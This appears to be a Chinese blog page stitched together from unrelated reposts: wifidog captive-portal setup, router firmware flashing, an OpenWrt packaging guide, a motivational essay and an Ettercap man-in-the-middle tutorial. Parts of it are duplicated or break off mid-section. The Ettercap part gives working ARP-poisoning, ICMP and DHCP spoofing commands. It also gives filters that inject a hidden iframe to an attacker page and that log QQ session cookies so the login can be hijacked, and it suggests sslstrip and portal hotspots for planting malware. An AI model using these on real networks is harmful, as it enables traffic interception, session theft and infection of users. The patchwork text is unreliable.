[转载]wifidog认证接口_sgwyj515_新浪博客.
缺点:通过iptables方式实现,性能比较差,整体拉低了路由器的数据包处理速度,协议比较繁琐,对认证服务器的造成性能损耗比较大,在安全方面都是明文传输,有一定的安全隐患。
以集客盒子为例画个流程图:

[转载]wifidog认证接口_sgwyj515_新浪博客.
缺点:通过iptables方式实现,性能比较差,整体拉低了路由器的数据包处理速度,协议比较繁琐,对认证服务器的造成性能损耗比较大,在安全方面都是明文传输,有一定的安全隐患。
以集客盒子为例画个流程图:

[转载]wifidog+authpuppy认证页面的配置_lu晓健_新浪博客.路由器上用的是wifidog
然后到这个http://launchpad.net/authpuppy
打开的内容是
<VirtualHost *:80>
</VirtualHost>
由于刚开始什么都不懂,都不知道里面目录是什么意思,所以就挑几个来说明下
DocumentRoot /var/www
<Directory /var/www/>
这个是你在apache里面架设服务器的根目录,比如我架设的是authpuppy,当我一进入authpuppy是/var/www /authpuppy/web/这个目录下的文件,其他的也没什么好讲的。所以我们应该把authpuppy目录放在/var/www/这个目录下面。
接下来就是配置这个apache这个,这个是让我最头疼的地方,配置了好几天,才搞明白是怎么回事。
首先咱们来看下http://www.authpuppy.org/doc/Getting_Started这个里面的配置内容
我一开始也没多想就直接复制和粘帖,结果安装到第三步就出错了。哦,忘了说怎么安装了,在浏览器的地址栏上输入127.0.0.1查看authpuppy的目录在哪,然后进入authpuppy里面web的目录,就会在网页上跳出安装页面。
再回过来说说apache怎么配置吧,先给大家看看我的配置文件
不知道大家有没发现这两个目录不一样
ErrorLog /var/log/apache2/authpuppy/error.log CustomLog /var/log/apache2/authpuppy/access.log 我在我的电脑里面发现/var/log/apache2/里面没有authpuppy这个目录,后来我就把这两个目录改了,最后安装成功。当你见到如下图片的时候就说明你已经安装成功,接下来尽管next就行了。现在authpuppy已经安装完了,先松一口气吧。 接下来我们就来配置wifidog.conf文件以实现和authpuppy相链接。 这是wifidog.conf文件 http://dev.wifidog.org/browser/trunk/wifidog/wifidog.conf 由于第一次接触路由,所以有几个地方先说明下,自己老是搞乱,给以后的新手留给经验。 最最重要的一点是,在这个配置文件里面第一格不能是空格,否则就会出错。 ExternalInterface br-lan
这个是lan口,这样才能连上路由,比如手机 GatewayInterface eth0.2 这个是wan口,通过这个与authpuppy server通信。所以主机的网卡要和wan同一网络, 我的wan口ip是192.168.2.200,要和Hostname同一网段,才能通信。 AuthServer { Hostname 192.168.2.2 SSLAvailable yes Path /authpuppy/web/ } 还有这个Path,一开始我是设置成 / 根目录,结果不行,出现了这个问题: HTTP Response from Server: [HTTP/1.1 404 Not Found 后来设置成这个目录才可以。还有一点要注意的是Path的目录两边都要加/,不然也会出错。
转载Netgear WNDR4300从DD-WRT固件恢复为官方固件 | 喵の史.
上次易迅的活动,入手了Netgear WNDR4300,貌似还不错的路由器,回来立马刷入dd-wrt,因为一直不能正常使用SSH,所以决定刷回官方固件,不能ssh对我来说就没什么吸引力了,可能是ddwrt固件的问题吧,等待以后更新了再刷回来。
从原厂固件刷到dd倒是非常的简单,直接从固件升级那里,刷入从DD-WRT下载的固件wndr4300-factory.img,下载地址 ftp://ftp.dd-wrt.com/others/eko/BrainSlayer-V24-preSP2/2013/03-25-2013-r21061/netgear-wndr4300/ 其中img是这种刷机固件,bin
是升级固件。大家都懂不多说,刷好以后先设置用户名和密码就是了。
但是从dd-wrt固件刷回官方固件就没那么方便了,网上找的方法是说用tftp2,启动路由器的tftp模式,但是“按reset按钮直到绿色灯 一直的闪烁”这个状态我一直没成功过。下面说说我的方法,当然,首先下载官方的固件http://support.netgear.com.cn /Upfilepath/WNDR4300-V1.0.1.64PRRU.img ,通过telnet连接到路由器并登陆,登陆用户名是root,密码是你设置的密码,前提是你在ddwrt中开启了telnet访问。
转到tmp目录:
root@DD-WRT:~# cd ..
root@DD-WRT:/tmp# pwd
/tmp
通过http把官方固件下载到路由器,这个你可以通过自己的电脑构建一个简单的web服务器。
root@DD-WRT:/tmp# wget http://192.168.1.125/4300.img
Connecting to 192.168.1.125 (192.168.1.125:80)
4300.img 100% |*******************************| 12544k 0:00:00 ETA
执行mtd -r write 4300.img linux,完成后会被断开telnet,这个时候路由器上的电源指示灯是绿色并闪烁,可以操作tftp2推固件过去刷新,完成后等待路由器重新启动即可。
root@DD-WRT:/tmp# mtd -r write 4300.img linux
Unlocking linux …
Writing from 4300.img to linux … [w]
root@DD-WRT:/tmp#
遗失对主机的连接。
[转载]Ettercap简要原理介绍以及使用说明 – 软件工具 – 红黑联盟.
0x00 前言
在坛子里看到基友一篇文章,突然就对ettercap来了兴趣。之前一直在windows下用cain,感觉不算稳定,经常会产生断网的现象。自己对linux下的arp工具不是很熟悉,趁机学习下吧~
打开很久没开过的BT5,在炊少大黑阔的博客看了一下午,去读了半天官方的使用手册,又测试了一晚上,于是就有了这篇文章。
0x01 ettercap 界面介绍
Ettercap有四种界面,Text,Curses,GTK2 ,Daemonize。
Text界面相当于我们常说的命令行界面,只显示字符。其启动参数为-T。通常与其配套的参数有-q。(安静模式)若加上了该选项,则不会显示抓到数据包的内容。
Curses和GTK2是图形化界面,可以用鼠标点的,在此略过…
Daemonize是守护模式,相当于在后台运行。
以后的例子中会以Text界面做介绍。
0x02 ettercap运行方式
Ettercap有两种运行方式,UNIFIED和BRIDGED。
其中,UNIFIED的方式是以中间人方式嗅探;BRIDGED方式是在双网卡情况下,嗅探两块网卡之间的数据包。
UNIFIED方式的大致原理为同时欺骗A和B,把原本要发给对方的数据包发送到第三者C上,然后由C再转发给目标。这样C就充当了一个中间人的角色。因 为数据包会通过C那里,所以C可以对数据包进行分析处理,导致了原本只属于A和B的信息泄露给了C。UNIFIED方式将完成以上欺骗并对数据包分析。 Ettercap劫持的是A和B之间的通信,在Ettercap眼中,A和B的关系是对等的。
BRIDGED方式有点像笔记本电脑上有两个网卡,一个有线网卡,一个无线网卡。我们可以将有线网卡的internet连接共享给无线网卡,这样笔记本就 变成了一个无线ap。无线网卡产生的所有数据流量都将传送给有线网卡。BRIDGED方式ettercap嗅探的就是这两块网卡之间的数据包。
一般而言,我们会使用UNIFIED方式。其运行参数为-M(M是MITM的首字母,为中间人攻击的缩写)。
0x03 ettercap目标选择
目标的表达形式为MAC/IPs/PORTs。依照这个规则,我们把目标可以精确到特定的主机和端口上。
MAC、IP、和PORT为三个条件,为空代表ANY,也就是所有。我个人理解三个条件是与的关系,即针对三个条件同时成立的目标进行嗅探。例如,”//80″即表示对任意MAC、任意IP上的80端口进行嗅探。
一般来说,MAC部分留空,除非你愿意去手动输入那一长串的MAC地址。因此,我们可以只用IP部分来确定目标主机。
当IP有多个的时候,可以用“,”分隔不同的C段ip,可以用“-”表示连续的ip,可以用“;”分隔不同表达形式的ip。举例如下:
“10.0.0.1-5;10.0.1.33” 表示 ip 10.0.0.1, 2, 3, 4, 5 和 10.0.1.33
端口部分也有类似的写法,看例子:
“20-25,80,110” 表示 20, 21, 22, 23, 24, 25, 80 和 110
0x04 ettercap的中间人攻击
当我们指定了-M参数时,即中间人攻击时,我们可以有以下几种攻击方式。
1. arp毒化的中间人攻击
arp毒化的原理简单的说就是伪造MAC地址与IP的对应关系,导致数据包由中间人转手出去。详细介绍请看:
http://www.2cto.com/Article/201207/144532.html
arp毒化有双向(remote)和单向(oneway)两种方式。
双向方式将对两个目标的ARP缓存都进行毒化,对两者之间的通信进行监听。单向方式只会监听从第一个目标到第二个目标的单向通信内容。一般来说,我们会选择使用双向欺骗的方式来获取所有的数据包进行嗅探分析。
例如:-M arp:remote /10.0.0.2/ // 表示对10.0.0.2的所有端口的通信进行嗅探,包括发出的数据包和收到的数据包。
若目标主机开启了ARP防火墙怎么办?直接欺骗会引发报警且无效果。这时就是单向ARP毒化大显神威的时候了。只要路由器没有对IP和MAC进行绑定,我们就可以只欺骗路由器,使从路由器发给目标主机的数据包经过中间人,完成我们的攻击。
2. icmp欺骗
icmp欺骗即基于重定向(redirect)的路由欺骗技术。其基本原理是欺骗其他的主机,本机才是最近的路由,因此其他主机会将数据包发送到本机,然后本机再重新将其转发到真正的路由器上。于是,我们便可以对这些数据包进行监听。
icmp欺骗不适用于在交换机下的环境。若本机在交换机的环境下,则最好选择arp毒化的方式来进行攻击。
icmp欺骗方式的参数是真实路由器的MAC和IP。参数形式为(MAC/IP)。举例如下:
-M icmp:00:11:22:33:44:55/10.0.0.1
3. DHCP spoofing
DHCP spoofing的基本原理是本机伪装成DHCP服务器,代替真实的DHCP服务器给新接入网络的主机动态分配ip。这样的缺点是可能会与真实的DHCP服务器重复分配ip,造成冲突,而且只能针对新接入的主机,不影响到之前的主机。
DHCP spoofing方式的参数是可以分配出去的ip地址池,子网掩码和DNS。参数形式为(ip_pool/netmask/dns)。举例如下:
-M dhcp:192.168.0.30,35,50-60/255.255.255.0/192.168.0.1
对应的含义为将分配192.168.0.30,35,50-60之中的地址,子网掩码为255.255.255.0,DNS服务器为192.168.0.1。
4. Port Stealing
此攻击方式适用的环境是在交换机下,且路由器中ip和mac绑定无法进行arp欺骗。其基本思想是,既然无法欺骗路由器的IP和MAC对应关系,那么就欺 骗交换机的吧。这样,原本应该通过交换机某一个端口到达目标主机的数据包被传入了攻击者的端口。(此部分笔者理解的不算好,恳请大牛补充纠正!)
由于本方法只能用于交换机环境,且会产生大量的数据包,严重影响网络状况,用之前须三思。
笔者只实际测试了1和4两种攻击方式。其中1方式攻击结果完全符合预期,而用4方式时产生了如下错误:
1. ERROR : 90, Message too long
2. [ec_send.c:send_to_L2:213]
3.
4. libnet_write 1586 (-1): libnet_write_link(): only -1 bytes written (Message too long)
复制代码
此外,如果只想用ettercap做一个中间人而用其他软件嗅探数据的话,应加入参数-o (only-mitm)。
注意点:
Ettercap并不会转发数据包,转发数据包的是操作系统,因此,在中间人攻击时需要启用操作系统的数据包转发功能。
详情请见http://www.cnblogs.com/gunl/archive/2010/09/14/1826234.html
0x05 ettercap的常用参数及组合
-I 显示可用网卡
-i 选择网卡
-t 协议选择,tcp/udp/all,默认为all
-p 不进行毒化攻击,用于嗅探本地数据包
-F 载入过滤器文件
-V text 将数据包以文本形式显示在屏幕上
-L filename 把所有的数据包保存下来(所得文件只能用etterlog来显示)
下面列出几个常用的参数组合:
ettercap -Tzq
以命令行方式显示,只嗅探本地数据包,只显示捕捉到的用户名和密码以及其他信息。
ettercap -T -M arp:remote /192.168.1.1/ /192.168.1.2-10/
嗅探网关(192.168.1.1)与部分主机(192.168.1.2-10)之间相互通信的数据包。
ettercap -Tzq //110
只嗅探本机110端口(pop3)的信息
ettercap -Tzq /10.0.0.1/21,22,23
只嗅探本机与10.0.0.1主机在端口21、22、23上的通信
ettercap -i eth0 -Tq -L sniffed_data -F filter.ef -M arp:remote /10.1.1.2/80 //
在eth0网卡上用自己的filter嗅探ip为10.1.1.2主机在80端口上的所有通信,并把所有的数据包保存成文件名为“sniffed_data”的文件
ettercap -i eth0 -Tq -L sniffed_data -F filter.ef -M arp:remote /10.1.1.1/ /10.1.1.2/
单向欺骗路由,只劫持路由发向10.1.1.2的数据包。
0x06 ettercap filter的写法
一个好工具配一个好的过滤规则才是perfect!
Ettercap的过滤规则只有经过编译之后才能由-F参数载入到ettercap中使用。
编译过滤规则的命令是:
etterfilter filter.ecf -o filter.ef。
即把filter.ecf文件编译成ettercap能识别的filter.ef文件。
过滤规则的语法与C类似,但只有if语句,不支持循环语句。需要注意的地方是,if与”(”之间必须要有一个空格,且大括号{}不能省略。
Ettercap提供的一些常用的函数有:
search(where, what) 从字符串where中查找what,若找到则返回true
regex(where, regex) 从字符串where中匹配正则表达式regex,若找到则返回true
replace(what, with) 把字符串what替换成字符串with
log(what, where) 把字符串what记录到where文件中
msg(message) 在屏幕上显示出字符串message
exit() 退出
快速学习etterfilter规则写法,个人的习惯是去读已有的一些规则的例子,然后按照例子仿写自己的filter。
在炊少大黑阔博客上看到的经典的例子有:
1. if (ip.proto == TCP && ip.dst != ‘192.1.1.200’ && tcp.dst == 80 || tcp.dst == 8080) {
2. #…and if it contains an Accept-Encoding header…
3. if (search(DATA.data, “Accept-Encoding”)) {
4. #…remove any Encoding (make sure we are using plain text)
5. replace(“Accept-Encoding”, “Accept-Nothing!”);
6. }
7. }
8. #–Inject Iframe–
9. if (ip.proto == TCP && ip.dst != ‘192.1.1.200’ && tcp.src == 80 || tcp.src == 8080) {
10. if (search(DATA.data, “<body>”)){
11. #Replace it with the body tag and an iframe to our attacking webpage
12. replace(“<body>”,”<body><iframe src=’http://192.1.1.200′ width=0 height=0 />”);
13. msg(“iframe injected after <body>\n”);
14. }
15. if (search(DATA.data, “<BODY>”)){
16. replace(“<BODY>”,”<BODY><IFRAME SRC=’http://192.1.1.200′ width=0 height=0 />”);
17. msg(“iframe injected after <BODY>\n”);
18. }
19. }
上述代码中,第一部分的作用是将HTTP请求头中的Accept-Encoding部分替换掉,使WebServer返回的数据是原始数据,而不是经过压 缩(如gzip)后的数据,方便我们嗅探分析。第二部分的作用是查找返回数据中的<body>和<BODY>标签,并在它后面添 加一个iframe标签。
通过这个例子,我们可以看出,过滤器的主要作用是查找数据中的字段并替换。因此,在网上我们经常会看到一些用来挂马或者插入一段js脚本的例子,做任何xss能做的事情。
更多的规则请看http://fuzzexp.org/ettercap-filter-rules-send.html
在此奉上我自己的一个过滤规则,用来记录在特定网站的cookie。
1. if (ip.proto == TCP && tcp.dst == 80 && ip.src == ‘10.0.0.2’ ) {
2. if (search(DATA.data,”Accept-Encoding”)) {
3. replace(“Accept-Encoding”,”Accept-Mousecat”);
4. }
5. if ( search(DATA.data,”Cookie:”) ) {
6. if (search(DATA.data,”qq”)) {
7. #“qq” can be replaced with other website keywords
8. log(DATA.data, “/tmp/qqlog.txt”);
9. }
10. }
11. }
这个过滤规则能得到腾讯用来身份认证的两个cookie:skey和uin。然后就可以伪造登陆状态为所欲为了。这样比xss得来的cookie更直接且不受http-only干扰。
还有一个纯属卖萌的:
1. if (ip.proto == TCP && tcp.dst == 80 ) {
2. if (search(DATA.data,”Accept-Encoding”)) {
3. replace(“Accept-Encoding”,”Accept-Mousecat”);
4. }
5. replace(“<head>”, “<head><script>alert(/h4cked by deleter/)</script>”);
6. }
每打开一个网页会弹出一个对话框来卖萌…
注意点:
Ettercap需要以root权限运行,但是在开启完链路层套接字后会降权为nobody,因此在生成log文件的时候要选择有写入权限的目录,如/tmp/
0x07 etterlog分析数据
Etterlog是用来读取分析ettercap -L或者-l参数产生的log文件。此部分命令不多做介绍,个人认为最常用的命令为:
etterlog -A sniffed_data.ecp >1.txt
即将ettercap产生的log数据转成可显示的数据保存在1.txt中。
etterlog -B sniffed_data.ecp >1.data
将数据原封不动的转存成文件。
0x08 参考资料&更多阅读
帮助最大的官方手册:
http://linux.die.net/man/8/ettercap
http://linux.die.net/man/8/etterlog
http://linux.die.net/man/8/etterfilter
利用sslstrip和ettercap突破ssl嗅探密码
http://www.2cto.com/Article/201009/75322.html
针对SSL的中间人攻击演示和防范
http://www.2cto.com/Article/201211/169512.html
中间人攻击-ARP毒化
http://www.2cto.com/Article/201207/144532.html
0x09 后记
本文纯属水文一篇,大部分内容是按照官方手册翻译过来的,只有arp单项欺骗突破防火墙部分和ettercap部分过滤规则是原创内容。英文资料自己看看还可以,翻译的过程真心蛋疼啊~
但是写点东西出来既能方便他人,又能巩固旧的知识加深理解新的知识,何乐而不为呢?
由于笔者水平有限,中间难免会出现一些错误误导大众,还恳请大牛帮忙指正。
[转载]centeros开启路由功能——ip_forward_小麦_新浪博客.方法一:
[root@localhost /]# echo “1” > /proc/sys/net/ipv4/ip_forward
或者将上述命令写入 /etc/rc.d/rc.local使得Linux主机开启时候就启动数据包转发功能。
方法二:
vi /etc/sysctl.conf
找到net.ipv4.ip_forward = 0
转载wifidog 认证 – 逆雪寒的天坑 – 博客频道 – CSDN.NET.
Wifi有一种web方式认证方案,当连接到某些不加密的热点之后,会跳转到一个网页来认证登陆,大家熟悉的CMCC就采用了这种web的验证方式。
svn checkout https://dev.wifidog.org/svn/trunk/wifidog-auth
web认证服务软件用php写成,重点文件为wifidog-auth\wifidog\login\index.php(客户端web认证、产生 token以及重定向到wifidog的开放端口)、wifidog-auth\wifidog\auth\index.php(wifidog验证 token)、wifidog-auth\wifidog\portal\index.php(认证成功后页面重定向)。宏定义在wifidog- auth\wifidog\include\common.php文件中。



至于开启了ssl加密的服务器,可以用ssltrip来得到明文传送的数据。
如果不怕麻烦的话,还可以自己搭设dns服务器来钓鱼,不过这样就有些杀鸡用牛刀了。
PS:最近出了个叫极路由的东西,号称自动翻墙。目测是内置了一个vpn。大家有兴趣可以去了解下~
PPS:利用web认证方式的热点是挂马利器哦
[转载]OpenWrt增加软件包方法-kyok520-ChinaUnix博客.
OpenWrt是一个比较完善的嵌入式Linux开发平台,在无线路由器应用上已有100多个软件包。人们可以在其基础上增加软件包,以扩大其应用范围。OpenWrt在增加软件方面使用极其方便,按照OpenWrt的约定就可以很简单完成。
加入的软件包可以是网上可下载的开源软件或自行开发的软件。為加入软件包需要在package目錄下创建一个目录,以包含软件包的各种信息和与 OpenWrt建立联系的文件。然后创建一个Makefile与OpenWrt建立联系,Makefile需要遵循OpenWrt的约定。另外可以創建一 個patchs目錄保存patch文件,對下載的源代碼進行適量修改。下面主要介紹Makefile的基本約定。
1、引入文件
OpenWrt使用三个makefile的子文件,分别为:
include $(TOPDIR)/rules.mk
include $(INCLUDE_DIR)/kernel.mk
include $(INCLUDE_DIR)/package.mk
由這些makefile子文件確立軟件包加入OpenWrt的方式和方法。$(TOPDIR)/rules.mk一般在Makefile的開 頭,$(INCLUDE_DIR)/kernel.mk文件對於軟件包為內核時不可缺少,$(INCLUDE_DIR)/package.mk一般在軟件 包的基本信息完成後再引入。
2、编写软件包的基本信息,这些软件包的信息均以PKG_开头,其意思和作用如下:
PKG_NAME表示软件包名称,将在menuconfig和ipkg可以看到。
PKG_VERSION表示软件版本号。
PKG_RELEASE表示Makefile的版本号
PKG_SOURCE表示源代码的文件名。
PKG_SOURCE_URL 表示源代码的下载网站位置。@SF表示在sourceforge网站,@GNU表示在GNU网站,還有@GNOME、@KERNEL。獲取方式可以 為:git、svn、cvs、hg、bzr等。有關下載方法可參考$(INCLUDE_DIR)/download.mk和$(SCRIPT_DIR) /download.pl。
PKG_MD5SUM表示源代码文件的效验码。用于核对软件包是否正确下载。
PKG_CAT表示源代码文件的解压方法。包括zcat, bzcat, unzip等。
PKG_BUILD_DIR表示软件包编译目录。它的父目录为$(BUILD_DIR)。如果不指定,默认为$(BUILD_DIR)/$( PKG_NAME)$( PKG_VERSION)。
還有一些有關源代碼的定義。
PKG_SOURCE_SUBDIR
PKG_SOURCE_PROTO
PKG_SOURCE_MIRROR
PKG_MIRROR_MD5SUM
PKG_SOURCE_VERSION
3、编译包定义
用户程序和内核模块的定义不一样。用戶態軟件包使用Package,內核模塊使用KernelPackage。
3.1用户程序编译包定义
用户程序的编译包以Package/开头,然后接着软件名,在Package定义中的软件名可以与软件包名不一样,而且可以多个定义。下面使用$(PKG_NAME)只是做一个标示,并非真正使用$(PKG_NAME)。
Package/$(PKG_NAME)
SECTION表示包的类型,预留。
CATEGORY表示分类,在menuconfig的菜单下将可以找到。
TITLE用于软件包的简短描述
DESCRIPTION用于软件包的详细描述,已放弃使用。如果使用DESCRIPTION將會提示“error DESCRIPTION:= is obsolete, use Package/PKG_NAME/description”。
URL表示软件包的下载位置。
MAINTAINER表示维护者,选项。
DEPENDS表示与其他软件的依赖。即如编译或安装需要其他软件时需要说明。如果存在多個依賴,則每個依賴需用空格分開。依賴前使用+號表示默認顯示,即對象沒有選中時也會顯示,使用@則默認為不顯示,即當依賴對象選中後才顯示。
在 用戶態的軟件包中沒有內核模塊的AUTOLOAD參數。如果軟件需要在boot時自動運行,則需要在/etc/init.d增加相應的腳本文件。腳本文件 需要START參數,說明在boot時的優先級,如果在boot過程啟動後在關閉,則需要進一步設置STOP參數。如果STOP參數存在,其值必須大於 START。腳本文件需要start()和stop()兩個函數,start()是執行程序,stop()是關閉程序。關閉程序一般需要執行 killall命令。由/etc/rc.d/S10boot知道,裝載內核模塊的優先級為10,需要使用自己設計的內核模塊的程序其START的值必須大 於10. 同樣由/etc/rc.d/S40network知道,使用網絡通信的程序其START的值必須大於40。
Package/$(PKG_NAME)/conffiles
本包安裝的配置文件,一行一個。如果文件結尾使用/,則表示為目錄。用於備份配置文件說明,在sysupgrade命令執行時將會用到。
Package/$(PKG_NAME)/description
软件包的详细描述,取代前面提到的DESCRIPTION详细描述。
Build/Prepare
编译准备方法,对于网上下载的软件包不需要再描述。对于非网上下载或自行开发的软件包必须说明编译准备方法。一般的准备方法为:
define Build/Prepare
mkdir -p $(PKG_BUILD_DIR)
$(CP) ./src/* $(PKG_BUILD_DIR)/
endef
按OpenWrt的习惯,一般把自己设计的程序全部放在src目录下。
Build/Configure
在Automake中需要进行./configure,所以本配置方法主要针对需要配置的软件包而设计,一般自行开发的软件包可以不在这里说明。需要使用本定义的情况,可参考dropbear。
Build/Compile
编译方法,没有特别说明的可以不予以定义。如果不定义将使用默认的编译方法Build/Compile/Default
自行开发的软件包可以考虑使用下面的定义。
define Build/Compile
$(MAKE) -C $(PKG_BUILD_DIR) \
$(TARGET_CONFIGURE_OPTS) CFLAGS=”$(TARGET_CFLAGS) -I$(LINUX_DIR)/include”
Endef
Package/$(PKG_NAME)/install
软件包的安装方法,包括一系列拷贝编译好的文件到指定位置。調用時會帶一個參數,就是嵌入系統的鏡像文件系統目錄,因此$(1)表示嵌入系统的镜像目录。一般可以采用下面的方法:
define Package/$(PKG_NAME)/install
$(INSTALL_DIR) $(1)/usr/bin
$(INSTALL_BIN) $(PKG_BUILD_DIR)/ $(PKG_NAME) $(1)/usr/bin/
endef
INSTALL_DIR、INSTALL_BIN在$(TOPDIR)/rules.mk文件定义,所以本Makefile必须引入$(TOPDIR)/rules.mk文件。
INSTALL_DIR :=install -d -m0755 意思創建所屬用戶可讀寫即執行,其他用戶可讀可執行的目錄。
INSTALL_BIN:=install -m0755意思編譯好的文件到鏡像文件目錄。
如果用戶態軟件在boot時要自動運行,則需要在安裝方法說明中增加自動運行的腳本文件安裝和配置文件安裝方法。
例如:
define Package/mountd/install
$(INSTALL_DIR) $(1)/sbin/ $(1)/etc/config/ $(1)/etc/init.d/
$(INSTALL_BIN) $(PKG_BUILD_DIR)/mountd $(1)/sbin/
AUTOLOAD:=$(call AutoLoad, $(PRIORITY),$(AUTOLOAD_MODS))
在server段写上2个Listen就可以了. listen 192.168.0.2:808; listen 192.168.0.2:809; 如上,就可以同时监听2个端口了.
你能想,别人一样能想,可是别人想到了能执行下去,你执行了吗?
我就是个“思想家”,想法太多,精力分散,结果哪个想法都没落地就跟烟火一样半路夭折了!
最近研究的东西,就是以前早就有的一个想法,当时看到了觉得很好,然后就停留在想象的阶段,没有下文了。
这几天终于要深入的研究发现想太多了没用,研究通了才发现看上去很美,用起来还有很多问题,值得深入挖掘,属于蓝海产品,可做的文章还很多,市场价值有待挖掘,于是又生出来很多想法,需要一一实现,就好比写玄幻小说,一天一更一样,想法总会随着你的研究深入不断的冒出来,结果跟着了魔似的让你停不下来,不断的研究,不断的想,不断的实验,很疯狂的一个死循环!
有时候要控制自己不想,只专注一点,一个想法执行下去,然后做到极致才是最好的!
昨天写的《靠别人不如靠自己》结合今天的算是完整了,更深刻,一个是说方法,一个说思维,太多懒人了,我就是一个,谁都愿意光想不做,那多轻松纸上谈兵,指点江山。
世界上最不缺的是想法 最不值钱的也是它
现在圈子里一说到自媒体,大家第一反应就是写日志,写文章,转发文章,发微信,发头条
晚上参与了通王网校(http://www.tongwang.net/index.php?uid=1844)的培训,感觉收货很大,
1.不走寻常路:
大家都在写日志植入链接的时候,你也去写日志然后发文章,效果可想而知,除非你的文章干货够干,每个人能力都有限,你写10天估计干货都写完了。
那怎么办?
文字只是传播的一种形式,既然大家都写日志比拼文字功底,那你就录制视频,比拼干货的上手操作容易一目了然,让你的观众按照操作看一遍就会上手操作;
视频不行,那就直接开YY直接语音辅导,放干货。
2.酒香也怕巷子深:
过去我写日志完全是自娱自乐,觉得没啥价值,自己写着玩儿,很多技巧是觉得不值一提的小玩意儿,写出来完全是不想时间长了,自己都忘了,也算是一种经验总结,现在觉得自己的想法不对,很多东西对于不知道的人很有价值,就应该大声的嚷出来,让全世界都知道,至少转发到30个平台,才能发挥它的价值。
3.坚持,还是坚持:
每天坚持完成3件事,雷打不动,给自己定一个计划,每天坚持完成3件事!别的不多说,执行!
4.执行力:
没有执行力,以上3种都是扯淡,自然也不会有结果,想千遍,不如做1次!干,才是硬道理!
暂时总结了这么多,大家共勉,喜欢的就转发,引用最近比较时髦的一句话:
梦想还是要有的,万一实现了呢!